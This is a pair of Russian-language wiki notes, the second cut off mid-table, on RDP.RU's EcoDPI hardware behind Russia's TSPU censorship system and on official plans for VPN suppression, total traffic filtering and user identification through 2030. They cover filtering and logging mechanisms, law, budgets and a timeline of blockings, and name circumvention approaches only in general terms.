раскрывает > Конкретный список распознаваемых мессенджеров (Telegram/WhatsApp) и VPN-протоколов в публичных материалах РДП.РУ **не приводится**. Фраза про «идентификацию приложений в любом, в том числе зашифрованном трафике» — общая формулировка производителя, не детализированная. Не приписывайте EcoDPI конкретных возможностей по опознанию отдельных протоколов сверх того, что задокументировано; что реально режется на практике — см. полевые замеры ниже. Устанавливается EcoDPI в двух режимах: **InLine** (в разрыв, прозрачно, чтобы применять политики) или **на копию трафика** (мониторинг без влияния на канал). ## Технические характеристики (по данным производителя) Модельный ряд — единые платформы линейки Service Gateway Engine (1U, x86). Цифры — заявленный производителем максимум: | Модель | Порты | Пропускная способность (CG-NAT) | |---|---|---| | 2010 | 6×1GbE + 2×10GE | 6–12 Гбит/с | | 2020 | 6×1GbE + 2×10GE | 24 Гбит/с | | 2040 | 6×1GbE + 4×10GE | 34 Гбит/с | | 4080 | 1×1GbE + 8×10GE | 60 Гбит/с | | 4120 | 1×1GbE + 12×10GE | 120 Гбит/с | | 4160 | 1×1GbE + 16×10GE | до 160 Гбит/с | Для **EcoDPI** матрица производителя даёт: младшая платформа 2040 — до 34 Гбит/с, 2,3 млн новых соединений/сек, 32 млн одновременных сессий; старшая 4160 — до **200 Гбит/с**, 5 млн новых соединений/сек, 150 млн сессий, до 4 сетевых карт (10/25/40/100GbE). Расхождение с таблицей (160 против 200 Гбит/с для 4160) — не ошибка: 160 Гбит/с относится к NAT-функции (EcoNAT-4160), а 200 Гбит/с — к DPI-функции той же серии с картами 100GbE. Платформа строится на **серийном x86-железе** на чипах Intel (сама компания подчёркивает подход «commodity hardware»), а не на экзотических ASIC. Использование FPGA-ускорителей или framework-а DPDK в открытых материалах вендора **не подтверждено** — поэтому утверждать это как факт нельзя (DPDK — лишь отраслевой стандарт для x86-DPI, а не заявленная РДП.РУ технология). ## Как коробка включается в сеть и как именно блокирует Здесь начинается самое важное для темы обхода: по официальному руководству EcoSGE видно, какими механизмами оборудование реализует блокировки — и они совпадают с тем, что абоненты наблюдают у ТСПУ и что независимо намеряли исследователи. ### Режим включения и аппаратный обход Устройство работает как **прозрачный L2-мост (bridge)**, включаясь в разрыв между пограничным (PE) и ядровым (Core) маршрутизаторами оператора. Порты 10G делятся на пары **Inside(LAN)/Outside(WAN)** — «псевдопровод», между разными парами трафик не ходит. Заявлена работа на скорости канала (wire-speed). Отдельный компонент **EcoBypass** — аппаратный (оптический) обход: пока между модулями идёт «сердцебиение» (heartbeat формата ``), трафик проходит через DPI; если сигнал пропадает или падает уровень оптики, устройство переходит в прозрачный режим и трафик идёт **в обход** DPI. Именно этот механизм на уровне всей системы описывают как «bypass»: при перегрузке ТСПУ трафик временно пропускается напрямую, и заблокированные ресурсы на время открываются. ### Инъекция RST и редиректа (совпадает с «почерком» ТСПУ) В зеркальном режиме, по руководству, EcoSGE **отправляет абоненту пакет-разрыв соединения для HTTPS или пакет-редирект для HTTP**. Это ровно тот механизм, который в захватах трафика выглядит как внезапный `RST` после `ClientHello`: оборудование не «глотает» пакеты, а **впрыскивает свой сброс** быстрее, чем ответит настоящий сервер. Независимо это подтверждает мониторинг OONI (2024): в одних случаях — обрыв TLS-сессии, в других — вброс RST сразу после ClientHello. Со стороны абонента тот же эффект разбирают [[DPI/browser-ja4-fingerprint-block|кейс JA4-блокировки]] и [[DPI/dpi-analysis-pipeline|воронка проверок DPI]]. ### Фильтрация по SNI По руководству, для HTTPS оборудование **фильтрует по полю SNI (Server Name Indication)** — открытому имени сайта в первом пакете TLS-рукопожатия — и **разрывает соединение с запрещённым ресурсом**. Дословно: если поля SNI в запросе нет, запрос пропускается «прозрачно»; дополнительно проверяется сертификат сервера — если в нём найден запрещённый домен, соединение сбрасывается. **Проще говоря:** даже в зашифрованном HTTPS имя сайта (`example.com`) в первом пакете идёт **открытым текстом** — по нему-то оборудование и опознаёт цель, не расшифровывая остальное. Именно поэтому в обходе так важны технологии, прячущие SNI (ECH/шифрованный ClientHello): они убирают у DPI этот удобный маркер. Как этот сигнал работает на практике — см. [[DPI/tspu-http2-tls12-fix|разбор блокировок по TLS]]. Правила фильтрации организованы в **несколько независимых списков** (в конфигурации видны `dpilist0…16` — до 17 наборов правил). Для сработавшего правила есть действия: `block` (сбросить HTTPS и редиректить HTTP), редирект на страницу-заглушку с подстановкой данных абонента. ### «Белые списки» с запретом по умолчанию Самая тревожная с точки зрения свободы сети функция — **whitelist-режим**. По руководству EcoSGE «белый список» переворачивает логику: **отсутствие сайта в списке означает запрет доступа по умолчанию** (следует редирект или закрытие соединения), а пропускается только то, что явно разрешено. Производитель прямо предупреждает в документации, что, включив whitelist и добавив хотя бы один адрес, **можно случайно заблокировать весь остальной доступ**. Это техническая основа модели **«позитивной фильтрации»**, которую исследователи Re:Russia описывают как двухуровневую: полная блокировка на первом уровне и пропуск только одобренного — на втором. Полевые наблюдения такой модели со стороны абонентов разобраны в [[DPI/subnet-whitelist-blocking-2026|белых списках подсетей ТСПУ]] и [[DPI/tspu-whitelist-cloudflare-june-2026|инциденте с Cloudflare 23 июня 2026]]; обход через разрешённые сервисы — в [[DPI/olcrtc|OlcRTC]]. ## Надзорные функции: не только блокировать, но и записывать Руководство EcoSGE документирует и то, о чём в маркетинге говорят меньше, — **журналирование трафика абонентов**. Это первоисточник, а не домыслы: - **`clickstream`** — по руководству, система умеет слать на удалённый syslog-сервер **HTTP GET-запросы абонентов, HTTP-ответы веб-серверов и запросы установления SSL/TLS-соединений**. По сути — журнал того, кто на какие сайты ходит. - **NetFlow v9** — логирование соединений (кто с кем соединялся, без учёта объёма). - **Журнал NAT-трансляций** — с прямой оговоркой в мануале: «требуется законодательством некоторых стран» (то есть привязка «абонент ↔ адрес/порт ↔ время», нужная силовым органам). Поверх этого правозащитники добавляют более острые оценки. По отчёту **Human Rights Watch «Disrupted, Throttled, and Blocked» (30 июля 2025)**, руководство EcoSGE описывает функцию **«Sniffer»** — передачу копий трафика во внешнюю систему анализа, что, по трактовке HRW, даёт государству неограниченный доступ к данным; а версия руководства от **апреля 2023** содержала функцию **инъекции JavaScript** в веб-страницы (потенциально — перехват сессии, действия от имени пользователя). > [!warning] Где факт, а где оценка > **Факт (из мануала):** функции `clickstream`, NetFlow, журнал NAT, Sniffer и (в версии 2023 года) JS-инъекция в документации присутствуют. **Оценка (HRW и опрошенных экспертов, в т.ч. Михаила Климарёва):** трактовка их как инструмента слежки и «неограниченного доступа государства». Наличие функции в руководстве **не доказывает** её повсеместного включения на конкретных ТСПУ. HRW сама отмечает, что неясно, есть ли JS-инъекция в новых версиях ПО. ## ТСПУ: правовая рамка и централизованное управление В **2019 году** принят закон о «суверенном интернете» (поправки в законы «О связи» и «Об информации», вступили в силу **1 ноября 2019**): провайдеры обязаны установить у себя **ТСПУ**, через которые Роскомнадзор может централизованно управлять маршрутизацией и фильтрацией. Ключевое отличие ТСПУ от «обычного» операторского DPI — **настраивают и управляют им только специалисты РКН**, а не оператор, у которого коробка физически стоит. Управление идёт через **ЦМУ ССОП** (Центр мониторинга и управления сетью связи общего пользования), созданный постановлением Правительства №136 от 13 февраля 2019 года на базе ФГУП «ГРЧЦ» (входит в РКН). С **1 января 2023 года** операторы обязаны пропускать через ТСПУ весь интернет-трафик; о 100%-оснащении узлов связи (мобильных, широкополосных, трансграничных) РКН отчитался в октябре 2023 года. Экономика и принуждение: - **Финансирование.** Формально оборудование ставится за счёт государства; в 2019–2021 годах федеральный бюджет выделил на «суверенный Рунет» свыше 30 млрд рублей, из них ~20,8 млрд — на ТСПУ. Но на операторов ложатся сопутствующие расходы: размещение, электроэнергия и аренда канала не менее 100 Мбит/с к системе управления (для малых региональных операторов — до 300 тыс. рублей в месяц). - **Штрафы.** За неустановку/необслуживание ТСПУ или пропуск трафика в обход — по статьям 13.42/13.42.1 КоАП: для юрлиц 500 тыс.–1 млн рублей, при повторе 3–5 млн; с 2022 года за повторные нарушения введена **уголовная ответственность** (ст. 274.2 УК, до 3 лет). Надзорная кампания РКН 15 октября 2025 — 31 марта 2026 года затронула 28 операторов. - **Масштаб парка.** По отчётности, ТСПУ развёрнуты на ~860 узлах к концу 2022 года и ~1300 к концу 2023-го; 24 октября 2023 глава РКН Андрей Липов заявил о завершении оснащения (достигнуто, по его словам, в августе 2023). Одобренных производителей DPI, по оценке отраслевого эксперта Дмитрия Галушко, около **13**, но публичного поимённого реестра нет, а на практике навязывается оборудование именно РДП.РУ. > [!note] 954 Тбит/с — это план, а не «сейчас» > Часто мелькающая цифра **954 Тбит/с — плановый таргет пропускной способности ТСПУ к 2030 году** (в более раннем паспорте федпроекта фигурировало 752,6 Тбит/с), а не текущая мощность. Актуальная суммарная нагрузка системы, по данным «Коммерсанта» (2026), — порядка **132 Тбит/с**. Обновление ТСПУ заложено в федпроект «Инфраструктура кибербезопасности» с бюджетом порядка **59 млрд рублей** на пять лет (общий бюджет проекта позднее вырос до ~83,7 млрд). Заявленная цель по борьбе с VPN — эффективность до 96%. Подробнее о планах — [[DPI/rkn-vpn-2030-roadmap|дорожная карта РКН до 2030]]. ## Что независимые исследователи намеряли Роль ТСПУ и их «почерк» подтверждают не только вендорские мануалы, но и внешние измерения: - **Censored Planet, «Throttling Twitter» (IMC '21)** и **«TSPU» (IMC '22)** — академические работы, прямо называющие ТСПУ DPI-боксами, **разработанными RDP.RU по заказу Роскомнадзора** и управляемыми централизованно. По измерениям: троттлинг Twitter триггерился **доменом в поле SNI** (не по IP), скорость резалась до **~100–150 кбит/с** отбрасыванием пакетов; устройства расположены близко к абонентам, но не совмещены с оборудованием ISP (вероятно, отдельная инфраструктура), а поведение единообразно у разных операторов (централизованная координация). Во второй работе идентифицировано более 1 млн эндпойнтов за ТСПУ в сотнях автономных систем. - **OONI (2024)** — независимый мониторинг: блокировки реализуются на уровне **SNI**, одни домены блокируются в большинстве сетей одновременно; механизм — обрыв TLS или вброс RST после ClientHello. - **Блокировка VPN-протоколов** (полевые наблюдения ntc.party, аналитика Habr, академическая работа USENIX Security 2024): волнами с 2023 года режут OpenVPN, WireGuard, Shadowsocks; с ноября–декабря 2025 региональными волнами — **VLESS/REALITY**; распознавание сместилось от прямых сигнатур к **поведенческому анализу** (детект «TLS-in-TLS» по размеру и таймингу пакетов). Про **active probing** (активное зондирование) именно со стороны ТСПУ строгих измерений нет — это остаётся правдоподобной, но не подтверждённой гипотезой. ## Хроника громких применений Датированная линия того, как система применялась (официальные версии и оценки исследователей разделены): | Дата | Событие | Официальная версия | Оценка исследователей/СМИ | |---|---|---|---| | 10 мар 2021 | Троттлинг **Twitter** (моб. ~100%, фикс. ~50%); снят на фикс. сетях 17 мая 2021 | Неудаление запрещённого контента | Намеренный троттлинг по SNI до ~100–150 кбит/с (Censored Planet); депутат Хинштейн признал применение DPI (ТАСС, 31 мар 2021) | | лето 2024 | Замедление **YouTube** (уведомления о деградации GGC с 12 июля; замедление десктопа — конец июля–август, до ~70%) | «Деградация» Google Global Cache (сокращение серверов ~700→450) | Троттлинг по метке `.googlevideo.com` через ТСПУ (Meduza, письма провайдеров, жалоба в ФАС); Google причастность отрицает | | 9 авг 2024 | Блокировка **Signal** | Нарушение антитеррор-требований | Полная блокировка | | 8 окт 2024 | Блокировка **Discord** | Неудаление 947 материалов, неуплата штрафов (3,5 + 6 млн руб.) | Сильно ударило по голосовой связи, хотя голос как основание не назван | | 13 дек 2024 | Блокировка **Viber** | Нарушение требований к ОРИ | Полная блокировка (DAU в РФ ~14,5 млн) | | 13 авг 2025 | Ограничение **звонков (VoIP) WhatsApp и Telegram** | Борьба с мошенничеством/терроризмом | Депутат Боярский признал «деградацию качества голосовых вызовов» — фактически намеренное вмешательство | | сен 2025 | **«Белые списки»**: объявлены 5 сен, запуск в первых 5 регионах 15 сен; к 12 окт — 48 регионов, к концу ноя (Re:Russia) — 57 | Работа при отключениях мобильного интернета | Позитивная фильтрация: доступ только к одобренному списку | Отдельная линия — **веерные отключения мобильного интернета**: по данным проекта «На связи», с мая 2025 года задокументировано **не менее ~11 300** ограничений мобильного интернета (рекордные месяцы — июль–август 2025); в феврале 2026 года принят закон, позволяющий отключать связь по требованию ФСБ без решения суда. > [!important] Ключевая нестыковка по «белым спискам» (важная деталь) > HRW в отчёте от июля 2025 года (по интервью от ноября 2024) описывает whitelist-режим как возможность, которая **на тот момент ещё не применялась**, и тревога была вызвана самим фактом её наличия. Но уже к концу 2025 года исследователи Re:Russia фиксируют **активное развёртывание** белых списков в десятках регионов. То есть статус «позитивной фильтрации» сместился с «заложенной в оборудование возможности» на «активное тестирование/развёртывание» между серединой 2025 и началом 2026 года. Функция была в продукте давно (она описана в руководстве EcoSGE) — включение не требовало нового железа, только конфигурации со стороны РКН. ## Монополия, импортозамещение и критика Установка оборудования именно РДП.РУ вызывала критику операторов: им фактически навязывают конкретное решение, хотя у многих DPI уже стоял, а изначально обещанную установку «за счёт государства» на практике частично переложили на самих провайдеров (размещение, электричество, аренда канала). Отдельная претензия — ТСПУ подключается **без договора о разграничении ответственности**, из-за чего за сбои и блокировки формально отвечает оператор, а не РКН. С импортозамещением всё неоднозначно. Изначально «сердце ТСПУ» — российское ПО РДП.РУ на **иностранной аппаратной платформе**; с 2022 года РКН заявил о переводе платформы на отечественную (производства «Ядро»/«ИКС Холдинг»), а типовой комплект ТСПУ включает EcoDPI (РДП.РУ) плюс сервер, коммутатор Eltex, оптический bypass и шифратор «Континент». При этом по данным CNews (январь 2026) даже после «импортозамещения» связанная структура «РДП Энтерпрайз» продолжает закупать американское и израильское оборудование — «российских аналогов пока нет». Само устройство ТСПУ универсально: на аналогичных DPI-системах, по оценке экспертов, построены и «Великий китайский файрвол», и западные, и израильские системы — специфична здесь не технология, а **модель централизованного государственного управления** ею. ## Что это значит для темы обхода - ТСПУ — это **не абстрактный «Роскомнадзор в облаке», а конкретная коробка** на x86 в разрыве трафика у вашего оператора, с задокументированными механизмами: SNI-фильтрация, инъекция RST, whitelist-режим, журналирование веб-запросов. - Опознание идёт **по SNI и по сертификату**, поэтому ценность приобретают технологии, прячущие эти маркеры (ECH/шифрование ClientHello), и приёмы десинхронизации, ломающие сборку потока у DPI (см. [[DPI/dpi-analysis-pipeline|воронку проверок]]). - Против троттлинга и SNI-блока работают TCP-фрагментация и «набивка» пакетов — то, что применяют инструменты вроде Zapret; против whitelist-модели — проведение трафика через разрешённые сервисы ([[DPI/olcrtc|OlcRTC]]). - **Whitelist-режим** — главный долгосрочный риск: технически «разрешено только из списка» уже реализовано в продукте, его включение (полное или частичное) не требует нового оборудования, а к концу 2025 года он вышел из стадии «возможности» в активное развёртывание. - Сдвиг DPI к **поведенческому анализу** (детект TLS-in-TLS) означает, что простое шифрование туннеля перестаёт быть достаточным — важны маскировка под настоящий трафик (REALITY) и рандомизация (AmneziaWG). ## 📚 См. также - [[DPI/dpi-analysis-pipeline|Как DPI анализирует соединение: воронка проверок (от SYN до ML)]] — что происходит внутри такой коробки со стороны абонента - [[DPI/subnet-whitelist-blocking-2026|Блокировка подсетей по белому списку]] — полевые наблюдения whitelist-модели, техническая основа которой описана выше - [[DPI/tspu-whitelist-cloudflare-june-2026|Инцидент ТСПУ с Cloudflare 23 июня 2026]] — как «белые списки» ломают легитимные сервисы - [[DPI/olcrtc|OlcRTC — туннель через WebRTC-звонки]] — как обходят whitelist-режим через разрешённые сервисы - [[DPI/browser-ja4-fingerprint-block|Блокировка по JA4-отпечатку браузера]] — тот же механизм инъекции RST со стороны клиента - [[DPI/rkn-vpn-2030-roadmap|Дорожная карта РКН до 2030 года]] — куда движется система ТСПУ и её обновление на 59 млрд рублей - [[VLESS/dpi-tls-june-2026|Как DPI «замораживает» VLESS+REALITY]] — поведенческий анализ протоколов, под который наращивают мощность - 🔗 [Страница продукта EcoDPI (RDP.ru)](https://www.rdp.ru/en/products/service-gateway-engine/ecodpi/) — характеристики от производителя - 🔗 [Руководство пользователя EcoSGE (RDP.ru, PDF)](https://www.rdp.ru/wp-content/uploads/ENAT_UserGuide_EN.pdf) — первоисточник технических функций (SNI, RST, whitelist, clickstream) - 🔗 [CNews: «Ростелеком» заплатил 1,7 млрд за разработчика ПО РДП.РУ](https://www.cnews.ru/news/top/2021-03-15_rostelekom_zaplatil_17) — детали сделки и структура владения - 🔗 [HRW: Disrupted, Throttled, and Blocked (июль 2025)](https://www.hrw.org/report/2025/07/30/disrupted-throttled-and-blocked/state-censorship-control-and-increasing-isolation) — роль EcoSGE, Sniffer, JS-инъекция, whitelist - 🔗 [Censored Planet: Throttling Twitter (IMC '21, PDF)](https://censoredplanet.org/assets/throttling-imc-paper.pdf) — измерение троттлинга 2021 года по SNI - 🔗 [Re:Russia: Whitelists For Dark Times](https://re-russia.net/en/analytics/0364/) — анализ двухуровневой «позитивной фильтрации» - 🔗 [ComNews: ТСПУ по правилам и без](https://www.comnews.ru/content/213851/2021-03-31/2021-w13/tspu-pravilam-i-bez) — состав комплекса ТСПУ и спор о монополии --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/DPI/rdp-ecodpi.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-03 tags: - rkn - tspu - vpn - dns - asbi - censorship - strategy aliases: - Планы РКН до 2030 - 92% VPN к 2030 - Блокировка VPN к 2030 году - Потеря анонимности к 2030 - АСБИ - Курс на 2030 link: https://www.svoboda.org/a/roskomnadzor-postavil-zadachu-zablokirovatj-92-vpn-k-2030-godu/33748690.html --- # 🎯 Курс на 2030: официальные планы по VPN, фильтрации всего трафика и деанонимизации > [!info] О чём заметка > Инциденты 2026 года — [[DPI/tspu-false-blocks-june-2026|поведенческие фильтры ТСПУ]], [[tspu-whitelist-cloudflare-june-2026|ковровые блоки подсетей]], [[DPI/google-dns-8888-block-july-2026|блокировка 8.8.8.8]] — выглядят хаотичными, но у них есть общая рамка: **опубликованные государственные планы с целевыми показателями (KPI) и бюджетами на горизонте до 2030 года**. Роскомнадзор (РКН) официально закрепил цель «92% эффективности ограничения VPN к концу 2030», Минцифры — пропуск **всего** трафика Рунета через фильтрующее оборудование и рост его мощности в 2,5 раза, а параллельно продвигается идея обязательной идентификации пользователей (единый «интернет-ID»). Эта заметка сводит четыре линии в одну картину — подавление VPN, фильтрацию всего трафика, деанонимизацию и консолидацию рынка провайдеров: что именно запланировано, какими документами, на какие деньги — и как это объясняет, «что они делают и зачем». > [!warning] Статус данных > Все планы ниже — из **публикаций СМИ о официальных документах** (распоряжение РКН о субсидии, приказ Минцифры о плане деятельности до 2030, паспорт федпроекта), а не из самих первоисточников: тексты документов в открытом доступе пересказаны журналистами («Коммерсантъ», Радио Свобода, Meduza и др., см. таблицу источников). Методика ключевого показателя «92%» ведомством **не раскрыта** — что именно измеряется, публично неизвестно. Связь конкретных инцидентов 2026 года с этими планами — **интерпретация**, прямых официальных подтверждений «мы блокировали X ради KPI Y» не существует. Заявления о деанонимизации — на стадии идей и предложений (заявления депутата и замминистра), а не принятых законов. ## TL;DR - **VPN:** распоряжение РКН о субсидии подведомственному ГРЧЦ (опубликовано в начале мая 2026) закрепляет KPI — «эффективность ограничения доступа к средствам обхода блокировок (VPN)» **92% к 31 декабря 2030**. На это выделено **~40 млрд руб.** (≈20 млрд на 2026 и ≈20 млрд суммарно на 2027–2028). Что именно значит «92%», ведомство не объяснило. - **Трафик:** по плану Минцифры (март 2026, по данным «Коммерсанта»), **уже к 2026 году 100% трафика Рунета** должно проходить через АСБИ — автоматизированную систему безопасности Рунета, ядром которой являются ТСПУ, — а пропускную способность фильтров нарастят **в 2,5 раза, до 954 Тбит/с к 2030** (бюджет федпроекта «Инфраструктура кибербезопасности» увеличен на 14,9 млрд, до **83,7 млрд руб.**). - **Анонимность:** параллельно продвигается обязательная идентификация — от заявления депутата Свинцова (октябрь 2025: «через 3–5 лет доступ в интернет только после идентификации») до предложения Минцифры о **едином интернет-ID**, привязанном к номеру телефона и через него к паспорту (декабрь 2025; официальное обоснование — «точный подсчёт аудитории»). - **Что это объясняет:** агрессивные эксперименты 2026 года — поведенческий анализ TLS, ковровые блоки подсетей, блокировку публичных DNS — логично читать как **исполнение KPI с дедлайнами и освоением бюджета**: у исполнителей есть целевые проценты по годам, отсюда волны «раскатали → замерили → откатили». - **Для пользователя** тренд один: доверять инфраструктуре «по умолчанию» (публичный DNS, дефолтный конфиг, чистый протокол) всё дороже — запас прочности дают DNS внутри туннеля, запасные резолверы и протоколы, устойчивые к активному зондированию. ## На пальцах: цензура как госпроект с KPI > [!example] Аналогия: ремонт дорог по нацпроекту > Представь дорожное ведомство, которому спустили нацпроект: «к 2030 году 92% дорог — в нормативном состоянии», с бюджетом и промежуточными отчётами. Дальше происходит предсказуемое: подрядчики начинают класть асфальт везде, где проще отчитаться, иногда в дождь и поверх люков — потому что важен не комфорт жителей, а процент в отчёте к дедлайну. Жители видят «хаотичные перекопанные улицы», но за хаосом стоит вполне стройная логика: KPI, бюджет, сроки. > > С блокировками так же. «92% эффективности ограничения VPN к 31.12.2030» — это не абстрактная угроза, а строка в документе о субсидии, под которую выделены деньги и по которой придётся отчитываться. Волны инцидентов — «перекопанные улицы»: эксперименты исполнителей, которым нужно показывать прогресс по проценту, даже ценой сопутствующего ущерба для легитимных сайтов, игр и сервисов. ## Линия 1. VPN: «92% к 31 декабря 2030» В начале мая 2026 СМИ (Радио Свобода, The Moscow Times, Meduza и др.) описали опубликованное РКН **распоряжение о бюджетной субсидии** подведомственному ФГУП «Главный радиочастотный центр» (ГРЧЦ) — оператору систем мониторинга и фильтрации. Субсидия идёт на «обеспечение функционирования АСБИ» — **автоматизированной системы обеспечения безопасности российского сегмента интернета**, созданной в рамках закона о «суверенном Рунете» (2019). Ключевые целевые показатели из документа (в пересказе СМИ): | Показатель | Значение | |---|---| | «Эффективность ограничения доступа к средствам обхода блокировок (VPN)» | **92% к 31 декабря 2030** | | Доля трафика Рунета, обрабатываемого АСБИ | **98% ежегодно** | | Пропускная способность системы | **831 Тбит/с** | | Бюджет | **~40 млрд руб.**: ≈20 млрд на 2026, ≈20 млрд суммарно на 2027–2028 | > [!note] Что такое «92%» — никто не знает > Meduza прямо вынесла в заголовок: «что это значит — непонятно». Методика не раскрыта: это может быть доля заблокированных VPN-приложений из магазинов, доля пользователей без работающего VPN, или — по версии одного из разборов (CISOClub) — **внутренний показатель срабатывания по сигнатурам** (признакам, по которым DPI распознаёт тип трафика). Без методики цифра неверифицируема: отчитаться о «92%» можно почти при любом реальном положении дел. Практический вывод для читателя не меняется: давление на протоколы обхода будет нарастать до 2030 года по плану, а не эпизодически. Официальная оговорка ведомства: **корпоративные VPN ограничивать не планируют** — компаниям предложено подавать заявки на доступ к нужным зарубежным ресурсам (механика «белых списков»; как она выглядит на практике и как ломается — в [[subnet-whitelist-blocking-2026|заметке про блок подсетей по белому списку]]). По сообщению Shazoo (май 2026), крупным компаниям при этом предписано не допускать на свои ресурсы пользователей с включённым VPN под угрозой исключения из белых списков — это утверждение одного источника, в других пересказах распоряжения его нет. Ещё одно разночтение по цифрам: в июньской публикации CNews (9 июня 2026, пересказана в [[DPI/tspu-false-blocks-june-2026#Контекст: почему это произошло в июне 2026|разборе июньских сбоев]]) фигурировала цель «**96%** эффективности блокировки VPN» без указания года. 92% против 96% — либо разные показатели/этапы, либо неточность одного из пересказов; сводить их в одну цифру не стоит. ## Линия 2. Трафик: весь Рунет через фильтры, мощность ×2,5 Вторая линия — **план деятельности Минцифры до 2030 года** и паспорт федпроекта «Инфраструктура кибербезопасности» (о них в марте 2026 написал «Коммерсантъ», разборы — Хабр, 3DNews, doxa и др.): - **К 2026 году через АСБИ должно проходить 100% интернет-трафика страны.** Фактически покрытие уже близко к этому: на 2025 год ТСПУ стояли примерно на всех значимых узлах — **1207 узлов широкополосного доступа, 135 узлов мобильных сетей, 86 трансграничных переходов**. - **Пропускную способность фильтров нарастят в 2,5 раза — до 954 Тбит/с к 2030** (предыдущий план — 752,6 Тбит/с; текущая нагрузка на ТСПУ в 2025 — 132,3 Тбит/с). Запас закладывается и под рост трафика, и под **усложнение анализа**: правил фильтрации уже свыше 2,5 млн. - **Финансирование федпроекта увеличено на 14,9 млрд — до 83,7 млрд руб.**, большая часть — на расширение и обновление АСБИ. Зачем фильтрам мощность впятеро выше среднего трафика Рунета? Пересказы плана называют три причины: рост трафика, рост числа правил и **усложнение механизмов анализа**. Последнее — ключевое для темы этого vault: простая проверка «IP в чёрном списке» дешева, а вот [[DPI/tspu-false-blocks-june-2026|поведенческий анализ TLS-сессий]] (отпечатки, частоты, корреляции) требует на порядки больше вычислений на каждый пакет. Мощность под «весь трафик» — это инфраструктурная возможность применять глубокий анализ не выборочно, а тотально. Как устроен этот конвейер проверок — в [[DPI/dpi-analysis-pipeline|воронке анализа DPI]]. ## Линия 3. Анонимность: идентификация на входе и единый интернет-ID Третья линия пока мягче двух первых — это заявления и предложения, а не подписанные документы с бюджетами: - **Октябрь 2025, депутат Андрей Свинцов** (комитет Госдумы по информполитике): в ближайшие **3–5 лет** все пользователи будут проходить идентификацию для доступа в интернет; действия в сети будут фиксироваться через специальный идентификатор «по образцу Госуслуг». Обоснование — борьба с ботами и фейками. Это **личный прогноз депутата**, а не законопроект. - **Декабрь 2025, Минцифры (замглавы Белла Черкесова)**: предложение **единого интернет-ID** — неизменного идентификатора пользователя для всех сайтов, привязанного к номеру мобильного телефона (а через него — к паспортным данным). Официальное обоснование — «точный подсчёт аудитории сайтов» (для измерителя Mediascope); сроки не раскрыты, «работа ведётся». Взятые отдельно, это выглядит как разрозненные инициативы. Взятые вместе с линиями 1–2 — как третий кирпич той же конструкции: **фильтруется весь трафик (линия 2), обход фильтрации подавлен (линия 1), а каждый пакет привязан к паспорту (линия 3)**. Заголовки вида «россияне потеряют анонимность к 2030 году» — экстраполяция журналистов и самих чиновников, а не принятая норма; но направление движения линии задают одинаковое. ## Линия 4. Рынок: консолидация провайдеров под контроль Есть и четвёртая, менее очевидная линия — **реформа лицензирования операторов связи** (Минцифры, проект 2026 года). Около двадцати типов лицензий заменяют тремя с резким порогом входа (уставный капитал до 100 млн руб., обязательный СОРМ до начала работы, доля выручки от связи ≥50%), а параллельно РКН уже аннулировал тысячи лицензий (~1000 в декабре 2025, 1967 в апреле 2026). По оценке ассоциации «Ростелесеть», новым нормам полностью соответствуют лишь **7,6% из ~4220 провайдеров ШПД**, а уйти с рынка может до трети операторов. Почему это часть того же курса: линии 1–2 (подавить VPN, фильтровать 100% трафика) технически реализуемы только тогда, когда весь трафик страны идёт через немногих крупных операторов, у которых **гарантированно стоят ТСПУ и СОРМ**. Четыре тысячи малых провайдеров с исторически неполным покрытием фильтрацией — «щели» в этом контуре; консолидация их закрывает. Подробный разбор параметров реформы, масштаба и **побочного эффекта для качества сети** (рост пинга и деградация по мере роста числа слоёв фильтрации и удорожания оборудования) — в отдельной заметке [[DPI/isp-licensing-reform-2026|Реформа лицензирования провайдеров 2026]]. ## Как это объясняет инциденты 2026 года > [!important] Ключевая мысль > У блокировок есть план, бюджет и дедлайны. Поэтому инциденты стоит читать не как «что-то сломалось» и не как «нас лично душат», а как **плановые итерации большого проекта**: исполнителю нужно показывать рост процента к отчётной дате. Через эту рамку события 2026 года складываются в последовательность экспериментов над разными слоями обхода: | Инцидент | Слой | Что тестировали (по версии сообщества) | |---|---|---| | [[VLESS/dpi-tls-june-2026\|Июнь 2026: «заморозка» TLS]] и [[DPI/tspu-false-blocks-june-2026\|ложные блокировки сайтов]] | Протокол/поведение | Поведенческий анализ TLS: отпечатки браузеров, частота сессий — ловля VPN по косвенным признакам, без чёрных списков | | [[tspu-whitelist-cloudflare-june-2026\|23 июня 2026: слетели белые списки Cloudflare]] | Подсети/хостинг | Ковровые блоки диапазонов облаков с «белым списком» исключений — отсечение VPN-хостинга целыми AS | | [[DPI/google-dns-8888-block-july-2026\|3 июля 2026: блок 8.8.8.8, серверы EA, полуденная волна]] | DNS + подсети | Зарезание стороннего шифрованного DNS (опора VPN-клиентов) и, по версии сообщества, очередной заход на подсети Amazon | Общий почерк — «**раскатали → замерили → откатили/оставили**»: у каждой волны быстрый частичный откат, что похоже на управляемые тесты, а не на финальные состояния. И у каждой волны — сопутствующий ущерб (легитимные сайты, игры, облака роутеров), который в логике KPI является приемлемой ценой, а не аварией. ## Что с этим делать пользователю Стратегического «фикса» тут нет — есть выводы для личной инфраструктуры на ближайшие годы: - [ ] **Не завязываться на один публичный резолвер или дефолтный конфиг** — блокировка [[DPI/google-dns-8888-block-july-2026|8.8.8.8]] показала, как один IP в конфиге кладёт «весь VPN». DNS — внутрь туннеля, запасные резолверы — в конфиг. - [ ] **Следить за протоколами, устойчивыми к поведенческому анализу**, а не только к спискам: линия развития ТСПУ — сигнатуры и статистика, см. [[VLESS/dpi-tls-june-2026|разбор июньской схемы]] и [[DPI/statistical-morphing-concept|концепцию статистического морфинга]]. - [ ] **Считать откаты временными.** Если после волны «всё само починилось» — это пауза между итерациями, а не отмена плана: целевые проценты расписаны до 31 декабря 2030. ## Источники | Источник | Дата | Что отсюда взято | |---|---|---| | [Радио Свобода — РКН поставил задачу заблокировать 92% VPN к 2030](https://www.svoboda.org/a/roskomnadzor-postavil-zadachu-zablokirovatj-92-vpn-k-2030-godu/33748690.html) | 4 мая 2026 | Факт распоряжения о субсидии ГРЧЦ, KPI 92%, АСБИ, 40 млрд руб. | | [Meduza — «уровень эффективности» блокировок VPN 92%: что это значит — 